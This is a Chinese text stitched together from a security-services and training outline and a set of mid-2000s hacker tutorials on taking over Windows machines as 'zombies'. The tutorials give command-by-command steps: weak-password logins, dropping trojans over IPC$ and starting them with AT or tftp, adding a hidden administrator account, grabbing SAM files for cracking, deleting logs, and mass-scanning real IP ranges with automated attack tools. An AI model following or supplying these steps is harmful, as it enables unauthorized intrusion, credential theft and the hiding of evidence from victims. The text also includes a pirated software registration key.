系统安全评估 1、系统整体安全分析 · 分析用户的网络拓扑结构，以找出其结构性及网络 配置上存在的安全隐患。 · 通过考察用户信息设备的放置场地，以使得设备物理上是安全的。 · 分析用户信息系统的管理、使用流程，以使得系统 能够安全地管理、安全地使用 2、主机系统安全检测 · 通过对主机进行安全扫描，以发现系统的常见的安全漏洞。 · 对于特定的系统，采用特别的工具进行安全扫描。 · 根据经验，对系统存在的漏洞进行综合分析。 · 给出系统安全漏洞报告。

· 指出各个安全漏洞产生的原因以及会造成的危险。 · 给出修复安全漏洞的建议 3、网络设备安全检测 · 通过对网络进行安全扫描，以发现网络设备的安全漏洞。 · 根据经验，对网络设备存在的漏洞进行综合析。 · 给出网络设备安全漏洞报告。 · 指出各个安全漏洞产生的原因以及会造成的险。

· 给出修复安全漏洞的建议。

安全系统加固 ·为用户系统打最新安全补丁程序。 ·为用户修复系统、网络中的安全漏洞。 ·为用户去掉不必要的服务和应用系统。 ·为用户系统设置用户权限访问策略。 ·为用户系统设置文件和目录访问策略。 ·针对用户系统应用进行相应的安全处理。

安全系统维护 ·防火墙系统维护，安全日志分析 ·IDS 系统维护，安全日志分析 ·VPN 系统维护，安全日志分析 ·认证系统维护，安全日志分析

·服务器、主机系统，安全日志分析 ·其它各类安全设施维护及日志分析

安全技能培训 ·网络安全基础知识 ·网络攻击手段演示和防范措施 ·防火墙的原理和使用 ·VPN 的原理和使用 ·漏洞扫描工具的原理和使用 ·IDS（入侵检测系统）的原理和使用 ·身份认证系统的原理和使用 ·防病毒产品的原理和使用 ·系统管理员安全培训 ·一般用户安全培训

防火墙系统 ·防火墙的定义 ·防火墙的分类 ·包过滤防火墙
·应用网关防火墙 ·状态检测防火墙 ·一般企业防火墙配置
·政府机构防火墙配置 ·涉密网络保密网关配置 ·高可用性和负载均衡防火墙系统 ·高速防火墙系统

防火墙的定义 ·用以连接不同信任级别网络的设备。 ·用来根据制定的安全规则对网络间的通信进行控制

防火墙的分类 ·包过滤 (Packet Filters) ·应用网关 (Application Gateways) ·状态检测(Stateful Inspection)

包过滤防火墙 ·包过滤技术 ·主要在路由器上实现，根据用户定义的内容（如 IP 地址、端口号）进行过滤。包过滤在网 络层进行包检查与应用无关。 · 优点 · 具有良好的性能和可伸缩性。 · 缺点 · 由于包过滤技术是对应用不敏感的，无法理解特定通讯的含义，因而安全性很差。

应用网关防火墙

·应用网关技术 ·第二代防火墙技术，其在应用的检查方面有了较大的改进,能监测所有应用层，同时对应 用“内容”（Content Information）的含义引入到了防火墙策略的决策处理。

· 优点 · 安全性比较高。 · 缺点 · 1、该方法对每一个请求都必须建立两个连接，一个从客户端到防火墙系统，另一个从

防火墙系统到服务器，这会严重影响性能。 · · 2、防火墙网关暴露在攻击者之中。 3、对每一个代理需要有一个独立的应用进程或 daemon 来处理， 这样扩展性和支持

新应用方面存在问题。

检测状态防火墙 · 属第三代防火墙技术，克服了以上两种方法的缺点，引入了 OSI 全七层监测能力，同时 又能保持 Client/Server 的体系结构，也即对用户访问是透明的。 · 防火墙能保护、限制其他用户对防火墙网关本身的访问。 · 状态检测技术在网络层截获数据包后交给 INSPECT Engine,通过 INSPECT Engine 可以 从数据包中抽取安全决策所需的所有源于应用层中的状态相关信息，并在动态状态表中 维持这些信息以提供后继连接的可能性预测。该方法能提供高安全性、高性能和扩展性、高伸 缩性的解决方案。

入侵检测系统 ·处理攻击时遇到的典型问题 ·解决入侵的方法和手段 ·基于网络的入侵检测 ·基于主机的入侵检测 ·入侵检测系统典型配置

处理攻击时遇到的问题 ·获得的信息不足 ·不知到网络上发生了什么事。 ·无法判定系统是否已经被入侵。 ·信息不准确 ·人员少 ·没有足够的人员维护管理。 ·缺乏规范的处理程序 ·发现攻击时如何反应?
·下一步该如何处理?

解决入侵的方法和手段 ·采用入侵实时入侵监控系统（IDS） ·对系统、网络中发生的事件进行实时监控。

·当发生入侵事件时能即时反应。 ·对入侵事件进行详细记录并跟踪。

基于主机的入侵检测 ·软件模块安装在包含有重要数据的主机上 ·监视操作系统的日志以发现攻击的特征。 ·监视代理所处主机上的所有进程和用户. ·监视暴力登录攻击（brute-force login），试图改变或绕过安全设定，及特权的滥用等 。 ·当新的日志产生时，为了减小对 CPU 的影响，代理程序暂时中断。

基于网络的入侵检测 ·软件安装在专门的主机上，放置于关键的网段 ·将配置该软件主机的网卡设置为混杂模式，使得该主机能接受网段上所有的包。 ·分析数据包以判断是否有黑客攻击。 ·监视网段上的所有数据。 ·对网络的流量无任何影响。 ·能检测到 denial of service attacks, unauthorized access attempts, pre-attack s cans 等攻击。

身份认证系统 ·用户身份认证的方法
·不同认证方法的安全级别 ·用户身份认证的常用方式 ·解决问题的方法 ·目前比较成熟的双因素认证方法

用户身份验证 ·你知道的一些东西 · 密码，身份证号，生日 ·你有的一些东西 · 磁卡，智能卡,令牌，钥匙 ·你独有的一些东西 · 指纹,声音，视网膜

密码是不安全的 ·可以破解密码的工具太多 ·大多密码在网络中是明文传输的 ·密码可以网络离线时被窥测 ·密码和文件从 PC 和服务器上被转移了 ·好记的密码容易被猜到,不易猜测的密码又太难记

解决方法 ·使用混合的工具:如 IC 卡+PIN

网站监控与恢复系统 ·典型的 Web 服务器应用 ·Web 服务器存在的安全问题 ·网站安全解决方法

典型 web 服务器应用 ·Internet-->路由器-->防火墙-->web 站点 · · · || 内部网

·所有的放在防火墙后面

Web 服务器存在的安全问题 · 网页被非法篡改是网站内容提供者最头痛的问题。在采用防火墙后, Web 服务器本身的漏 洞成为了网站被黑的主要问题。

· Web 应用服务器(如 IIS,Apache 中存在着大量的安 全漏洞.) · 用户自己开发的 CGI、ASP、PHP 应用中存在着大量潜在的漏洞。

网站安全 ·采用 Web 服务器监控与恢复系统

·该系统提供对网站文件内容的实时监控, 发现被改动后立即报警并自动恢复。

电子商务安全系统 ·典型的电子商务应用 ·电子商务中存在的安全问题 ·电子商务的安全解决方法 ·实时数据交换系统

典型电子商务应用 ·Internet>防火墙>Web 服务器 · · · || || | | 内部网(数据库)

电子商务中存在的安全问题 ·1、Web 服务器端 ·Web 应用服务器 (如 IIS、Apache 中存在着大量的安全漏洞。用户自己开发的 CGI、ASP、 PH P 应用中存在着潜在的漏洞。 · 黑客通过这些漏洞攻击 Web 服务器, 可非法篡改网页, 造成恶劣影响, 动摇了电子商务 使 用者的信心。 · 甚至可获得 Web 服务器上大量的敏感资料, 如用户的信用卡号, 用以连接内部数据库的 帐 号和口令。

· 可能通过控制 Web 服务器, 来攻击内部数据库。

电子商务中存在的安全问题 ·2、SSL 协议 ·SSL 加密强度低。由于浏览器默认的加密模块只支持 40 位的低强度加密, 而且即使在浏览 器中安装更高位的加密模块, 由于 WEB 服务器不提供对高位 SSL 链接的支持同样无法实现 高强 度 SSL 加密链接。 · 无法解决电子商务中的用户签名。SSL 链接建立 WEB 服务器和用户浏览器之间的安全通 道 只能保证在安全通道内的信息不被窃听或篡改, 并不能对用户发送的信息进行签名以保证信 息的有效性和不可抵赖性, 而这正是电子商务中必须解决的问题。

电子商务的安全解决方法 ·将 WEB 服务器分为两部分:一般内容的 WEB 服务器和交易 WEB 服务器。 · 一般内容的 WEB 服务器放置在 DMZ 区内, 采用 WEB 站点监控和恢复系统保护, 防止主 页被非 法改动。 · 交易 WEB 服务器放置在内部网内, 通过一台物理分隔的实时数据交换系统将其与 DMZ 区相 连。 · 在客户机和服务器端安装 SSL 代理, 从而获得 128 位的高强度加密通道

实时数据交换系统 ·将系统外部 Web 服务器和内部应用 Web 服务器物理隔开. ·外部 Web 服务器用于存放一般的信息, 内部 Web 服 务器用于存放敏感信息, 并和内部数 据

库连接。 ·外部用户通过 http 访问位于 DMZ 区内的一般 Web 服务器。 ·当进行交易时, 用户需访问位于内部网内的应用服务器。 ·https 连接首先到达实时数据交换系统的虚拟外部 Web 服务器, 实时数据交换系统将 https 协议解开, 只将 https 连接的数据内容拷贝到虚拟内部 Web 服务器, 虚拟内部 Web 服务器 将使 用该数据重新发起 https 连接到实际的内部应用 Web 服务器. ·内外通过实时数据交换系统进行数据交换, 无任何协议和连接穿过实时数据交换系统。 ·即使 DMZ 区的 Web 服务器受到攻击, 攻击者也的不到任何有用的信息

安全电子邮件系统 ·电子邮件的安全问题 ·安全电子邮件的解决方法 ·一个安全邮件的使用过程

电子邮件的安全问题 ·如何保证发送的敏感信息不被泄漏 ·如何保证发送的信息不被篡改 ·如何确认发件人的真实身份 ·如何防止发件人的抵赖行为

安全电子邮件的解决方法 ·将 PKI 体系应用到邮件系统中
·邮件的加密和解密以实现数据的保密。 ·邮件的数字签名（鉴别）实现发件人认证和不可抵赖。 ·完整性校验功能防止信息传输过程中被篡改可靠的安全性。 ·采用公开密钥和对称密钥相结合的密钥体系。 ·支持 128bit 对称密钥算法和 1024bit 公开密钥算法。
办公自动化系统的安全问题 · 如何保证发送的敏感信息不被泄漏 · 如何保证发送的信息不被篡改 · 如何确认发件人的真实身份 · 如何防止发件人的抵赖行为

安全办公自动化系统的解决方法 ·将 PKI 体系应用到办公自动化系统中 ·工作流信息的加密和解密以实现数据保密 ·工作流信息的数字签名（鉴别）实现发件人认证和不可抵赖。 ·完整性校验功能防止信息传输过程中被篡改可靠的安全性。 ·采用公开密钥和对称密钥相结合的密钥体系 ·支持 128bit 对称密钥算法和 1024bit 公开密钥算法。
Internet 访问及控制系统 ·Internet 使用存在的问题
·Internet 使用的解决方法 ·内容缓存系统 ·Internet 站点过滤系统
Internet 访问存在的问题 ·Internet 接入带宽不足，访问比较慢。 ·大量的用户访问相同的内容，造成带宽的进一步拥挤。 ·在上班时间里大量的 Internet 访问是与业务无关的。 ·有人使用公司的 Internet 系统访问色情网站。 ·有人使用公司的 Internet 系统访问反动站点。 ·管理人员无法知道 Internet 系统的使用情况。
Internet 访问的解决方法 · 对于问题一，采用内容缓存系统。 · 对于问题二，采用 Internet 站点过滤系统。
内容缓存系统 ·1、Client 发起 http 连接请求 ·2、Proxy 收到请求后将检查内部缓存内是否有所需内容，若有，则返还给 Client。 ·3、若无，则 Proxy 根据请求向目的服务器发起请求。 ·4、Web 服务器将内容返回到 Proxy 服务器。 ·5、Proxy 服务器将得到的内容发回给 Client，并在自己的缓存中保存一份。
Internet 站点过滤系统（一）·1、Client 发起 http 连接请求 ·2、连接到达防火墙时防火墙将 URL 送到 WebSense Server 检查。 ·3、WebSense 将审查结果返回到防火墙。 ·4、防火墙根据其策略决定是否让该连接通过。 Internet 站点过滤系统（二）·1、Client 发起 http 连接请求
·2、Proxy 受到请求后将 URL 送到 WebSense Server 检查。 ·3、Proxy 根据返回的结果决定是否接收该连接请求。
病毒防范系统 · 互连网时代对防病毒系统的要求 · 计算机病毒解决方法 · 典型病毒防范系统部署
互联网时代对防病毒系统的要求 · 由于计算机的联网使用，使得病毒传播的途径大为增多：网络文件共享、电子邮件、Int ernet 文件下载，传播速度也大为加快。 · 新病毒的出现速度加快，用户的防病毒软件的病毒特征码没能及时更新。 · 目前已出现了恶意的 Java、ActiveX，当使用者浏览到包含这些代码的网页时，会造成安 全问题。
· 一些来历不明的电子邮件程序或下载的程序中带有特洛依木马，可能会造成受害者的主 机被他人控制。
计算机病毒解决方法 · 从系统的观点考虑病毒的防范，在所有病毒传输的途径上均配置防病毒软件，如客户端 （Win98、 · Win2000)、文件服务器（NT、Netware） 、邮件服务器（Exchange、Lotus Notes） 、Internet 接入系统（Proxy、Firewall)等。 · 整个病毒防范系统采用集中管理的方式，病毒特征码统一更新，安全策略集中设定，从 而使得整个网络系统的病毒特征码得到快速更新。 · 通过在客户端的浏览器和 Proxy、Firewall 中嵌入病毒检查软件，来防范下在程序中带有 的病毒和可能的恶意 Java、ActiveX 等可执行代码的攻击。
VPN（虚拟私有网） · 数据加密分类 · 物理线路加密 · 数据链路加密 · 网络层加密—IPSec · 传输层加密—SSL
数据加密类型
·物理层->物理层 物理线路加密 ·数据链路层->数据链路层（路由器访问）

·在数据链路层(如 PPP) 进行加密 L2TP、PPTP、L2F ·网络层->网络层(路由器 防火墙 主机) ·在网络层 (如 IP) 进行加密 IPSec ·传输层->传输层 (对 TCP 进行加密 SSL) ·应用层->应用层(在应用层 (如 TCP) 进行加密 S/MIME、SET、SSH)

物理线路加密 · DDN 加密机 · 帧中继加密机 · 异步拨号 Modem · ISDN 线路密码机 · ATM 加密机

注:传输层加密 ·Secure Sockets Layer (SSL) 是一个端到端的 Internet 安全协议, 通过采用数字证书, 它提供了数据加密、身份认证的功能。SSL 建立在传输层, 它为客户机和服务器在应用级建 立起一个端到断的安全会话。 ·SSL 代理—128 位的高强度加密模块

结束语·恭喜你: ·学完这些并且可以熟练应用,已经是一个真正的网络安全专家了! ·希望此时的你旁边有个温柔稍有点调皮的女朋友,为这孤独而寂寞的网络添加一点跳动的

色彩!

黑客编: 必须要掌握的几个命令 ·Net ·netsh ·Ftp ·hostname

·Telenet(nc) ·tracert ·At ·Tftp ·Netstat ·Regedit ·Ping

必须要掌握的几个协议 ·http ·dns ·ftp ·Pop ·Smtp

·Icmp ·Udp ·tcp

开始 ·掌握了黑客攻击的方式和手段后,那么学习黑客就简单多了! ·因为你掌握了这些,剩余的就是使用工具入侵 ·熟悉掌握一套自己用的黑客工具

高级 ·自己编写专用的黑客工具 ·自己发现系统漏洞

黑客入侵手段 ·收集信息: · · 收集要入侵的目标信息 IP,域名,端口,漏洞,位置

弱口令 ·在 nt\2000\xp\2003 中弱口令可以用

·Net use \ip “password” /user:user ·如果目标机开 3389 服务,可以直接连接

·在 sql 的 sa 弱口令,可以用 sql 连接器直接 ·登陆

后门木马 ·如果有 ipc$共享,可以 copy 过去木马后门 ·用 at 启动 ·AT \ip time /INTERACTIVE ·如果可以得到 shell,也可以用 tftp ·Tftp.exe –i ip get *.* *.* ·然后直接安装 ·如果有 3389,可以自己建一个 iis,下载 直接运行

密码破解 ·远程破解 mysql,mssql,ftp,mail,共享密码 ·本地破解管理员(administrator)密码

缓冲溢出 ·可以用缓冲溢出攻击, ·比如流行的 webdev,rdcom 模块漏洞 ·可以直接得到 system 管理权限 ·缓冲溢出后的一般现象是: ·Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32>

Web 服务漏洞 ·例如: ·Unicode 漏洞遍历磁盘和执行程序 ·二次编码漏洞遍历磁盘和执行程序 ·.HTR 漏洞查看源代码

嗅探监听

·例如: ·针对 web 监听 ·针对 mail 监听 ·工具如:sinffer , iris

欺骗攻击 ·例如: ·运用 arp 欺骗攻击

伪装欺骗 ·常见的如:mail 病毒 ·把一个文件改名字甚至图标,欺骗对方执行

社会工程学

·例如: ·QQ 聊天诱惑 ·EMAIL 信息 ·电话 ·诱惑

拒绝服务 ·例如: ·Dos 攻击 ·Ddos 攻击

利用跳板 ·利用自己的肉鸡作为跳板攻击别的机器 ·My PC>跳板(肉鸡)>目标

路由器漏洞 ·如: ·原始密码 ·程序漏洞

防火墙 ·利用欺骗攻击防火墙,导致防火墙功能失效

·利用防火墙的模块漏洞

unix/linux ·NetWare Linux unix solais Solaris hp-unix Aix 等 ·这些目

前先不讲解

精通黑客工具 ·必须有一套自己可以完全掌握的黑客工具 ·如端口扫描 Nscan,bluescanport ·监听工具:sinffer iris ·telnet 工具:nc ·扫描工具:sss,nmap, LANguard ·后门工具:radmin,winshell ·密码破解:lc4 ·远程管理:pcanywhere ·会使用各种经典的黑客工具

清除日志 ·在你入侵机器以后,离开的时候,要完全清除 ·自己在那台机器上留下的痕迹 ·例如清除 ·Del C:\WINNT\system32\LogFiles*.*

·Del C:\WINNT\system32*.log ·Del C:\WINNT\system32*.txt ·Del C:\WINNT*.log ·Del c:\winnt*.txt

如果你不清除日志 ·当目标机器的管理员发现你的证据 ·完全可以让你在大墙内渡过一段日子

黑客 ·当你完全掌握这些后 ·你就成为了一名小黑客

高级 ·编写自己的黑客工具 ·发现系统漏洞

高级黑客 ·目前你足以成为一个高级黑客了

真正的黑客 ·精通各种网络协议

·精通操作系统 ·精通编程技术 ·精通安全防护 ·不搞破坏 ·挑战技术难题

结束 ·想学好这些,并不是靠别人给你的,而是靠自己的努力,自己的自学得到的! ·别人只能指导你,怎么去做,只能告诉方法, ·真正的实施是你自己,经过 N*N 个日夜努力换来的 ·不要一个问题问多次,要多动手,动脑! ·Google 里面有太多的答案,为什么我搜索不到?因为你的关键字用的不对! ·黑客基地是为了培养出一批优秀的网络人才,让更多想学习网络的爱好者有一个理想的学 习环境 ·这三篇幻灯片是我们多年的经验得到的! ·很有价值,望好好保存!仔细研究!

六.打造黑客

相信很多朋友已经 PING 了很多主机了吧, 千万别弄我的啊, 我用的是人家的主机, 他们 很白的。找到了漏洞的目的是什么呢？是控制对方, 即是获得远程 shell。shell 这个概念是 从 UNIX 下继承过来的, 是指与 xx 作系统核心的一种交互方式和界面。还是不懂是吗？有 篇关于 SHELL 的帖子大家去看一看 http://www.91one.net/dvbbs/dispbbs.asp?boardid=17&id=1426

,如果还不知道就算了, 你知道有这个词就可以了。

怎么得到 shell 呢？这很关键, 有很多方法：典型的例子是 telnet。得到 shell 的办法有很多 种, 比如通过系统自带的 telnet, 终端服务。或者用木马和工具提供的, 如 winshell, 冰河 等 等 。 说 到 冰 河 我 不 想 说 那 么 多 没 有 篇 文 章 很 好 大 家 看 一 下 ： http://978229.myrice.com/tty/Preview.htm#MAILLISTDOC19

得到 shell 后, 不是所有权限都会开的, 得到管理员权限当然是我们的梦想了。所以有时会 有提升权限的问题。当然这也是利用了漏洞。 Win2K 提升权限漏洞 http://www.yesky.com/20010530/182273.shtml ; Microsoft SQL Server Webtasks 权限提升漏洞 http://www.mhdn.net/se/2002-11-08/6386.html Linux kernel ptrace 提升权限漏洞 http://www.softhouse.com.cn/docs/southpark2169.html IIS 提升权限漏洞 http://moon-soft.com/e_commerce/soft/doc/readelite572760.htm 当然这些漏洞大都有补丁可下了, 如果管理员勤快的话就不好了, 不过很多人都很马虎的, 我认识个管理员是一个高校的, 用的是 win2000 竟从不打补丁, 理由是俺用的是 D 版的, 打补丁恐怕会冲系统啊（有道理啊）

觉得讲 shell 还不透彻（有朋友发短信问我了） , 我查了一下资料： Shell 是什么? 任何发明都具有供用户使用的界面。UNIX 供用户使用的界面就是 Shell(DOS 的 command 熟悉吧, 但 UNIX 的要强大的多)。 Shell 为用户提供了输入命令和参数并可得到 命令执行结果的环境。形象点就是：dos 中的 command.com 就是一种 shell 程序

打造黑客之第三天"3389 终端服务:2005-10-23 16:23:00 | 阅读全文(265) | 回复(0) | 引用通告

(0) | 编辑 从 3389 找个肉鸡（没有肉鸡的话, 对自己的技术提高是没好处的

，不能老是看却不练啊， 陈同学你说对吗？） 请各位注意， 我这里并不是说什么烂鬼输入法漏洞。 这种漏洞差不多已经绝迹了， 太难找了， 如果有人找到了，那恭喜你啦。众所周知，有开 3389 的一般都是服务器，也就是说有很大 可能带局域网的，而内部入侵比外部要方便一点，这对大家是很好的，我想看我这个东西的 很多都是学生吧(声明我就个学生哦） 如何能快速方便的得到开了终端的肉机呢？这需要用 。到两个工具，都是扫描工具来的，scanner3.0 和焦点的 xscan。打开 scanner，输入一段 IP， 范围要大一点，scanner 速度很快的。在“所有端口从”那里都填 3389，点击“开始”就可以开 工了。

很快的，扫描完成，结果出来了。点击右下脚的“删除”把多余的 IP 删了，只留下开了 3389 的 IP。再点击“保存”，把结果保存到文件夹里。找到保存文件的目录，打开它。用记事本的 替换功能把它保存为一个纯 IP 的 TXT 文件。“编辑－替换”在“查找内容”里输入要删除的垃 圾，再点“全部替换”就行了。打开 xscan，点击左边的蓝色按钮，进入“扫描板块”，只需在 “SQL-Server 弱口令”“NT-Server 弱口令”前打钩，其他都清除掉。再点击右边的蓝色按钮， 进入“扫描参数”，钩上“从文件获取主机列表”，打开刚才替换成纯 IP 的 TXT 文件，确定之 后就可以扫描了。这时需要比较长的时间！ （注意我是拿 3.0 为例的，其他的也差不多） 。确 定目标，用 mstsc（登陆终端的工具，这个我不喜欢用，但确实很容易上手的）登陆对方主 机后，打开对方 cmd.exe，输入“net use”，先看看有没有人也在连接这部机（安全一点好， 毕竟不是在学雷峰啊） 。“net view”命令之后当出现一堆前面带\\字符的就表示～～就表示什 么呢？？我想大家都非常明白吧!，如果不明白的话，我。（也不知道怎么说了 ） 。

七.如何获取肉鸡（跳板）

巡游五角大楼，登陆克里姆林宫，进出全球所有的计算机系统，摧毁全球金融秩序和重建新 的世界格局，谁也阻挡不了我们的进攻，我们才是世界的主宰！

世界头号黑客：凯文米特尼克

入门者如何获取肉鸡（跳板）2005-10-27 21:19:00 | 阅读全文(397) | 回复(0) | 引用通告(0) |

编辑 今天我们来讲一讲一些简单的入侵，这篇文章是送给新手的，难的文章我也写不出来~~ 这 里讲的方法都是针

对 winnt 和 2000 的，平台是 2000。我只是想送给新手点肉鸡罢了。

罗嗦了这么多，现在我们开始吧~。首先我们来对几个扫描器评点一下什么？你不知道扫描 器是什么？我晕~~~

扫描器就是扫描的嘛，它可以检测出主机的漏洞！

常见的有端口扫描器，和 cgi 漏洞扫描器，还有就是象流光那样的大型扫描器，什么都可以 扫。我们先来讲一

下扫描器的原理！

现在假设你是 A，要扫的是 B

那么，通常建立 3 次握手的过程是

ASyn>B

AB

这样就建立了连接,扫描就是建立很多这样的,从而达到了解对方开了哪些端口,哪些服务厉 害的扫描器还会进

一步探测!但是,这种 tcp 扫描会留下大量的记录,如果 B 的网管不是白痴那么他就会开始注意

你了!!

所以我们又会用半开放式扫描(syn)

也就是

ASyn>B

A\\ B

A-connected--?扫描->简单扫描->nt/98->IP 段开始扫,扫到很多 139 开了的主机然后 ipc 主机,右键->探测->

远程探测用户然后就会有很多用户和共享被扫出来,其中有可能包括弱口令(参见

杀手的流 光教程)这里我告诉
大家一个秘诀,就是有很多是 guest 为 admin 权限的,这些的密码一般为空这是因为这台主机 被攻破过,有人留下
了后门,这下便宜我们了,先拿来用了再说!
前面我们说过,我不喜欢用流光来扫描,所以,我们在这里用 xscan 来扫描 nt 弱口令! 在扫描选 项里选 nt 弱口令,
然后来个 ip 范围,让他扫,接下来就可以等待战果了一般会很丰硕,我每次扫这个都很爽!!! 接 下来就要讲怎么
用了!前面提到过我喜欢用流光来攻击,现在就让我们看看他的强大!! 流光 4->工具->nt/iis 工 具->nt 远程管道
命令输入 ip,刚才扫到的用户名,密码(若为空则不填) 连接!
ntcmd>net user
看看,连上了吧~~
我们来添加一个用户名
ntcmd>net user aaa 123 /add
命令成功完成
加到 administrators 组
ntcmd>net localgroup administrators aaa /add
命令成功完成
好了,这样肉鸡就做好了.什么?你想把他作成跳板? 好的,我们继续来
流光 4->工具->nt/iis 工具->ipc 种植者
添上 ip,用户名,密码等
然后点开始
接下来我们再用 telnet 连上去,去 debug snake 的 sksockserver 注意, 用 ntcmd
不能安装 sksockserver。
具体我就不说了,大家自己参考说明.
当然,大家也可以放一堆后门上去.
不过我喜欢这样
ntcmd>net use g: \\ip\c$
命令成功完成
这样,我们就把他的 c 盘映射成了我的 g 盘。然后我再放个木马的 server 上去再用 ntcmd 运 行,呵呵搞定~~,玩他没
商量!!!
我们还可以把 c;\winnt\repair\sam._抓下来,用 lc3 跑一下 就得到所有用户的密码,或是用木马 抓密码!!
当然我们也可以 telnet 上去运行 tlntadmn 来修改 telnet 端口, 更隐蔽怎么扩大战果呢?我们仍 用 ntcmd
ntcmd>net view
……
出来很多机器名,这是和我们的肉鸡共享的
比如有一台是
\\LOVE
我们就
ntcmd>ping -a LOVE
这样就得到了他的 ip
我一般会用 sss 再扫一次
当然,你也可以用你得到的密码去试试,看能不能进去,呵呵
有一次,我"不小心"跑到某教育部门,net view 一下,居然和教育局挂钩……接下来出于自身安全, 我就停住了,
呵呵,中国的政府不能乱搞的~~~
最后是打扫脚印,建议用小榕的 cleaniislog,很方便,用法参见说明! 请记住,入

侵 nt 的首选绝对 是 139,netbios
补充一点,大家在连接时可以用 2000 自带的计算机管理->连接到计算机这样也很方便.
关于其他几种方法, 我在这里说明一下
输入法基本上绝种了~~ 不过如果你扫大量的肉鸡也许还有最好用的应该数 sql 的 sa 为空, 直接用流光连就行了
, 连上后就可以直接添加帐号等, 但是有一点不好有时候会连不上。比如我在学校机房就从 来没连上过, 估计
是我在内部网络, 有硬防火墙的原因, 我在 3389 上就连的很好。不过总是玩这个是不会提 高的！其次要说明的
就是 idq 溢出与.printer 的漏洞, 这两个漏洞我不想多说什么, 因为很多人都会用但成功不了, 我在这里就说
说什么情况下可以成功。一般来说, 用 xscan 扫描, 如果出现说 isapi 扩展, 那么恭喜你, 如果存在这两个漏洞
绝对成功, 我屡试不爽。因为这两个漏洞都与 iis 那个破东西息息相关, 所以大家不要被别 的扫描器的误报迷
惑, 在安焦的漏洞库有这两个漏洞的详细说明。
关于 unicode 漏洞请参见 ncc 写的教程
流光是一个很好的攻击工具,他的 exploits 文件夹和 tools 文件夹的东西大家漫漫体会,呵呵。 不说了,不然天下
大乱了!!
总之,98 的安全性比 2000 好,因为 98 基本上没用 一般来说,入侵 98 是从 139,要改自己的 lmhosts 文件来达到入侵
的目的! 不过我劝新手不要沉迷在我讲的方法中,虽然你能从中的到很多肉鸡,但是绝对不要 做简单重复的工作
如果你不是新手,就不要看我的文章了,因为我本人也是菜鸟.耽误你宝贵的时间, 我心里也不 好受…… ……
1,傻瓜级入侵
之所以说这是傻瓜级,因为这个方法完全不用动脑子,并且保守的说,照这个方法,两个小时内 肯定至少能入侵 3 台电脑!3 台绝对是保守的数目!
需 要 软 件 :WinntAutoAttack (版 本 :V2.0) RA)
Remote Administrator v2.0(简 称
3389 登陆器(xp 自带的有,要是 xp,就不要下载了,就是"开始"-"所有程序"-"附件"-"
通讯"-"远程桌面连接"
不知道在哪下?用百度搜!我最不喜欢的就是当在群里我告诉别人用什么软件后,他还喋喋不 休的问我"在哪下?把地址给我吧",太懒了吧,难道下载地址在我脑子里?我不也是要搜吗?
好了,下边我们开始入侵了,下边就是过程:
第一步. 打开 WinntAutoAttack,就是那个手雷的标志,在"起始 ip"里和"目标 ip"里填上一个 ip 段 , 并 且 尽 量 把 范 围 搞 大 点 , 比 如 在 " 起 始 ip" 里 填 "218.88.1.1", 在 " 目 标 ip" 里 填 "218.88.255.255".ip 段建议下一个显 ip 的 qq,参考你 qq 上好友的 ip 去填.中奖概率更大!勾上" 仅对 ping 检查成功的机器进行检测","检测 3389 端口"和"收集 netbios 信息"
在"IIS 溢出"选项卡里勾上"开 99 端口 shell",这个是用来开 99 端口 telnet 的,要是你不会用 telnet,这个就不要勾了. 在"简单管理员密码"选项卡里勾上"列出所有密码简单的管理帐号"
和"上传并安装远程图形控制软件". 在"sql 漏洞"选项卡里也一样,就是把三个框都打上勾,就 是"列出密码为空的 sa 帐号""建立系统管理员帐号(shanlu)"和"上传并安装远程图形控制软件 ".
好了,连上网(你不会连网都没连吧?)根据你机器的性能,把线程调下,就是拖那个小滑块,越往 右线程越大,要是你的机器性能不好,太大的线程会死机的!我的机器性能

不错,我才用 110 左 右的线程,并且有的时候我也会死机…… ……(哭…… ……)
ok!一切就绪!点"开始" . 接下来,接下来我们干什么呢?在 qq 上聊天吧,等结果吧
第二步. 时间很快就过去了,过了半个小时了吧,我们看看有没有什么结果,点"信息",把上边 的"废话框"内容往下拉
主机:218.88.55.55 3389,Windows 2000 Advance Server Terminal 端口开放。 SQL 漏洞: sa 帐号密码为空。 建立系统管理员帐号 shanlu()成功
哈哈,有肉鸡了,这个是 3389 的肉鸡,我们用 3389 的登陆器登陆上去,填上他的 ip,用户名是 shanlu,密码是空,他的机器就展现在我们面前了!
要是有这样的提示:
主机:218.88.55.55 3389,Windows 2000 Advance Server Terminal 端口开放。 简单管理员密码: 帐号: TsInternetUser(1234567890)[Administrators]
就说明用户名是 TsInternetUser,密码是 1234567890,要是括号里什么都没有,就说明密码是空, 也就是说括号里的是密码,前边的是用户名.注意,帐户必须要是管理员的帐户,否则登陆不上 去!"[Administrators]"告诉我们这是个管理员帐户.
要是有主机提示开了 4899 端口或提示"安装远程图形控制软件成功",我们就可以用 Remote Administrator 了!(Remote Administrator 需要安装,强烈建议安装后把服务端卸载掉,方法:开始 -运行,在"运行"框里填"winnt\system32\re_server.exe /uninstall",注意是"winnt"还是"windows" 就看你的机器系统文件夹是什么了)卸载成功了会弹个对话框出来,说"removed successfully" 要是你不卸载, 最少也要在安装后给服务端装个密码, 因为 RA 本来不是一个黑客工具, 他 是一个很方便的远程帮助的工具, 甚至比 windows 自带的远程帮助工具用着还要舒服, 可 是, 它同时也很象一个木马, 有客户端和服务端, 所以你要不把服务端卸载或加密码的话, 很可能 " 螳螂捕蝉, 黄鹊在后 " 你就成为别人攻击的目标了.
打开 ra 的客户端, 也就是那个带红色"R"的图标, (蓝色的是服务端, 不要点) 提示要输注 册码, 一般这个下载的同时在 " readme " 文件里都能找到, 要是找不到 , 我给你们一个 : 08le-2jgMggTuKc8bRD8VVC409107Hz1p7qkNUBRsGES40dBDAnftk+ki 2pQZHmM71hys
VBux8HE7udeSROD1EO 长吧哈哈, 然后把那个勾勾上, 那个勾的意思是下次不再出现这个窗口 (都是乱码, 晕～～)
进入了 RA 的主界面, 我们点 " add new connection to the list" (建立新连接) 在弹出来的窗 口的两个框上都填上刚才开了 4899 或安装图形控制软件成功的机器的 ip, 点 ok, 看下边多 出来一个小电脑的图标没？双击进去, 看见什么了？是不是看见人家的屏幕了？人家在干什 么你都看的清清楚楚吧哈哈！
慢！！你干什么, 别乱动他的屏幕！先看看你用的是什么模式进去的！我来给大家介绍下上 ！ 边的１３个按纽的作用, 我就给大家介绍其中的７个常用的吧.
第２个按纽, 刚才我们用过了, 就是添加主机按纽
第３个按纽, 删除主机
